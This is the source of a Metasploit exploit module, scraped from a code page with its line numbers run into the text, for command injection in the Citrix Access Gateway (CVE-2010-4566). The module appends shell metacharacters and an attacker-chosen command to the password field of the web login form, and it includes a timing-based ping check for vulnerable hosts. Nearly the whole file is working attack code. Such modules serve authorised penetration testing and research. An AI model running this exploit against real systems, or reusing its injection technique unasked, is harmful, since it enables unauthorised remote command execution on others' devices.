Path: blob/master/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Citrix Access Gateway Command Execution',15'Description' => %q{16The Citrix Access Gateway provides support for multiple authentication types.17When utilizing the external legacy NTLM authentication module known as18ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command19line utility to verify a user's identity and password. By embedding shell20metacharacters in the web authentication form it is possible to execute21arbitrary commands on the Access Gateway.22},23'Author' => [24'George D. Gal', # Original advisory25'Erwin Paternotte', # Exploit module26],27'License' => MSF_LICENSE,28'References' => [29[ 'CVE', '2010-4566' ],30[ 'OSVDB', '70099' ],31[ 'BID', '45402' ],32[ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ]33],34'Privileged' => false,35'Payload' => {36'Space' => 127,37'DisableNops' => true,38'Compat' =>39{40'PayloadType' => 'cmd cmd_bash',41# 'RequiredCmd' => 'generic telnet bash-tcp'42}43},44'DefaultOptions' => {45'WfsDelay' => 3046},47'Platform' => [ 'unix' ],48'Arch' => ARCH_CMD,49'Targets' => [[ 'Automatic', {}]],50'DisclosureDate' => '2010-12-21',51'DefaultTarget' => 0,52'Notes' => {53'Reliability' => UNKNOWN_RELIABILITY,54'Stability' => UNKNOWN_STABILITY,55'SideEffects' => UNKNOWN_SIDE_EFFECTS56}57)58)5960register_options(61[62Opt::RPORT(443),63OptBool.new('SSL', [ true, 'Use SSL', true ]),64]65)66end6768def post(command, background)69username = rand_text_alphanumeric(20)7071if background72sploit = Rex::Text.uri_encode('|' + command + '&')73else74sploit = Rex::Text.uri_encode('|' + command)75end7677data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username="78data << username79data << "&password="80data << sploit8182res = send_request_cgi({83'uri' => '/',84'method' => 'POST',85'data' => data86}, 25)87end8889def check90print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")9192# Try running/timing 'ping localhost' to determine is system is vulnerable93start = Time.now94post("ping -c 10 127.0.0.1", false)95elapsed = Time.now - start96if elapsed >= 397return Exploit::CheckCode::Vulnerable98end99100return Exploit::CheckCode::Safe101end102103def exploit104cmd = payload.encoded105106if not post(cmd, true)107fail_with(Failure::Unknown, "Unable to execute the desired command")108end109end110end111112113